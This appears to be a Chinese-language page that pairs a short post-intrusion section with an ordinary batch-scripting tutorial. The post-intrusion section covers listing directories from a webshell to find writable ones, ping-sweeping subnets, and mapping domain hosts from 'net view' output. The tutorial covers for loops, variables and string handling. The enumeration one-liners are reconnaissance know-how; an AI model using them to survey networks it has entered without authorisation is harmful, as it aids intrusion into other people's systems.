提权应用

批处理遍历webshell可访问目录

opendir、readdir、is_dir、is_writable这几个遍历文件夹的函数，在php限制的情况下，找可执行目录就没有优势了。

@echo off (For /r c:\ %%a in (*) do echo %%~ta%%~za%%~fa)>list.txt

WMIC使用

脚本地址：http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar

输出页面：http://www.fuzzysecurity.com/tutorials/files/Win7.html

无文件扫描

ping 整个 c 段，只输出有响应的主机。

for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"

域机器对应 IP

把 net view 的结果，挨个 ping 一遍，并输出机器名和 ip 地址。

FOR /F "eol=- tokens=1 delims=\ " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | find /i "ttl" & echo.)

找主机名

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"

B 段查找

for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

win7

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging" for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

改成

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Ping" for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Ping"

就可以兼容 Win7 了。（Win7 ping -a 输出结果关键词为 “Ping”）

另外

findstr /i "pinging" 或 findstr /i "ping" 可以换成 findstr "[" 的可以适合多语言环境

批处理脚本教程

1. 遍历指定文件夹下的文件

1.1 命令解释

命令： for [参数] %%变量名 in （匹配符） do （执行的命令）

切记：每个指令之间必须以空格隔开，in 与 ( 之间有空格，do 与（间也有空格，否则命令会无法成功执行

ps：本节只讲用批处理脚本执行 for 命令遍历文件夹的场景，因此以下分析每个指令意义时，不介绍其他含义

[]：表示此项指令为可选

[参数]：参数取值一共有四种： /d, /r, /l, /f，加上无参数，所以一共五种场景

无参：遍历当前路径的文件夹下的文件，但也可在(匹配符)中指定路径
/d：遍历当前路径的文件夹下的文件夹，但也可在(匹配符)中指定路径
/r [路径]：深度遍历指定路径下的所有文件，子目录中的文件也会被遍历到，如果没指定路径，默认当前路径
/l ：当使用参数 /l 时，需结合(匹配符)一起使用，此时 () 括号内部的用法规则为：(start, step, end)，此时的 for 命令作用等同于 java 语言中的 for 语句
/f ：用于解析文件中的内容，本节不做介绍

%%变量名：作用类似于 for(int i = 0; ; ) 中的 int i = 0，有些区别点的就是，批处理的 for 循环遍历每一个子项时，%%变量名 <=> 每个子项，即 &&变量名 已经是指向具体的每个子项了

（匹配符）：在 in 指令之后 () 括号里的内容可表示为通配符，用于按照指定的规则过滤文件夹下的文件，如 (*.txt) 表示遍历文件夹内所有以 .txt 结尾的文件

(执行的命令)：前面的指令就可以取到文件夹内指定的每个子项了，那么接下去要对每个子项如何操作，就在这里写，类似于 java 的 for 命令后的 {} 大括号的作用

1.2 使用示例

以下示例基于上图中的文件路径，批处理脚本为 test.bat

无参：for %%i in (*) do ( echo %%i )

效果：遍历当前目录下的所有文件

无参指定路径：for %%i in (c:\softwares\VisualBat\*.url) do ( echo %%i )

效果：遍历在(匹配符)中指定路径下的以 .url 结尾的文件

带参数 /d：for /d %%i in (*) do ( echo %%i )

效果：遍历当前目录下所有的文件夹

带参数 /d 指定路径：for /d %%i in (c:\softwares\VisualBat\*) do ( echo %%i )

效果：遍历指定目录下的所有文件夹，%%i 指向每个子文件夹的绝对路径

带参数 /r ：for /r %%i in (*.url) do ( echo %%i )

效果：深度遍历当前路径下所有以 .url 结尾的文件，因为是深度遍历，因此 %%i 指向文件的绝对路径

带参数 /r 指定路径：for /r c:\softwares\VisualBat\ %%i in (*.url) do ( echo %%i )
效果：同上图
带参数 /l ：for /l %%i in (1, 1, 5) do ( echo %%i )

效果：等效于 java 中的 for (int i = 1; i <= 5; i++)语句，起始值，递增或递减，终止值都可自行设置

带参数 /d /r：for /d /r %%i in (*) do ( echo %%i )

效果：参数可结合使用，/d 表示遍历文件夹，/r 表示深度遍历，因此以上命令作用为深度遍历当前目录下的所有文件夹，包括子目录中的文件夹

2. 临时变量的使用

2.1 变量的基本用法

命令：set key=value

切记：key=value 三者之间绝对不能出现空格，不能为了像遵守 java 风格擅自给添加上空格，这与 java 的 int a = 1 声明变量不同，切记

变量使用：%key%

示例：

@echo off set name=dasuAndroidTv echo %name%

效果：name 可当做临时变量使用，使用时需用 %% 将变量名括起来使用

局限：不允许在 for 命令中类似上步中声明变量并直接使用，如下：

@echo off for /l %%i in (0,1,5) do ( set name=dasuAndroidTv echo %name% )

效果：在 for 命令中声明临时变量，并直接通过 %key% 方式使用时会出现上图中的错误：ECHO 处于关闭状态，但如果 set key=value 临时变量的声明是放在 for 命令外部，for 命令内部只是使用的话，是可以的，如下：

@echo off set name=dasuAndroidTv for /l %%i in (0,1,5) do ( echo %name% )

效果：在 for 命令外部声明临时变量，for 命令内部只是使用，这种方式是允许的

2.2 变量在 for 命令中的用法

提问：那么如果要在 for 命令中才声明临时变量，并使用的话，该如何做？

for 命令中临时变量的使用：

需启用变量延迟功能，命令：setlocal enabledelayedexpansion
for 命令中的临时变量使用时用 !key! 感汉号括起来的形式代替 %key%
理由：不清楚，google 来的解决方案，感兴趣想深入研究的自行搜索

示例：

@echo off setlocal enabledelayedexpansion set name=dasu for /l %%i in (0, 1, 5) do ( set name=dasuAndroidTv echo !name! echo %name% )

效果：说得白一点，在 for 命令中通过 %name% 方式使用的临时变量，取的 name 这个临时变量的值会一直是它在 for 命令外赋值的内容，即使在 for 命令中通过 set 命令对这个变量又重新赋值，也不会生效。

那么，如果需要在 for 命令中通过 set 命令赋值后的临时变量能够马上拿来使用，需要两个步骤，一在文件开头启用变量延迟功能，命令：setlocal enabledelayedexpansion，二在 for 命令中通过 !name!方式来使用临时变量。

3. 字符串处理

3.1 截取

命令：%key:~[start,num]%

解释：当 %key% 中出现了 :~，则表示要对 key 指向的这个字符串做截取操作，截取操作支持以下几种形式：

截取指定位置开始的 n 个字符串：%key:~0,4%，表示截取从下标 0 开始的之后 4 个字符
截取从指定位置开始的整个字符串：%key:~4%，表示截取从下标为 4 开始的整个字符串
截取通过倒数方式指定开始位置的整个字符串：%key:~-2%，表示截取从倒数第 2 个字符开始的整个字符串
截取通过倒数方式指定位置开始之后的 n 个字符串：%key:-4,2%，表示截取从倒数第 4 个字符开始的 2 个字符
正数倒数方式相结合：%key:~2,-2%，表示截取从下标 2 开始到倒数第 2 个之间的字符串

示例：

@echo off rem (rem表示后面是注释的内容，类似于 java //)原始字符串 set name=dasuAndroidTvrem 注释内容：表示截取从下标 0 开始的之后 4 个字符，输出 dasu echo %name:~0,4%rem 注释内容：表示截取从下标为 4 开始的整个字符串，输出 AndroidTv echo %name:~4% rem 注释内容：表示截取从倒数第 2 个字符开始的整个字符串，输出 Tv echo %name:~-2%rem 注释内容：表示截取从倒数第 4 个字符开始的 2 个字符，输出 Android echo %name:~4,-2%rem 注释内容：表示截取从下标 2 开始到倒数第 2 个之间的字符串，输出 id echo %name:~-4,2%

3.2 拼接

命令：%key1%%key2%

解释：将要拼接的那个字符串直接跟在被拼接的后面即可，不需要任何拼接操作符

示例：

@echo off set name1=dasu set name2=AndroidTv echo %name1%%name2% rem 这里是注释内容：输出 dasuAndroidTv

3.3 替换

命令：%key:被替换字符串=替换的字符串%

解释：不解释了，直接看示例，很容易明白

示例：

@echo off set name=whoAndroidTv echo %name:who=dasu% rem 这里是注释内容：输出 dasuAndroid

3.4 文件特殊操作

如果是在 for 命令中遍历了某个文件夹下的文件，那么此时可以通过一些特殊命令来获取这个文件的各种信息，直接看示例：

@echo off for %%i in (*.txt) do ( echo %%i echo %%~fi echo %%~di echo %%~pi echo %%~ni echo %%~xi echo %%~ti echo %%~zi )

解释：在通过 for 命令遍历文件时，%%i 根据不同的 for 使用方式，内容也有所不同，具体见第 1 节。在上述这种用法下，%%i 指向了当前目录下每个文件名，完整的文件名。

那么，此时就可以通过一些特殊命令来取得文件的相关信息，比如：

%%~fi：表示获取该文件的绝对路径信息
%%~di：表示获取该文件所在的盘符
%%~pi：表示获取该文件的路径，不包含盘符的信息
%%~ni：表示获取该文件的文件名，不包含扩展名信息
%%~xi：表示获取该文件的扩展名
%%~ti：表示获取该文件的上次修改时间
%%~zi：表示获取该文件的大小

3.5 截取某个指定字符前的部分

其他语言对字符串的处理基本都有类似 indexof 方法，在批处理中，可以用 for 语句对字符串进行处理来达到这种效果。

示例：

set name=woshidasusu_android for /f "delims=_" %%i in ('echo %name%') do ( echo %%i )

输出：woshidasusu
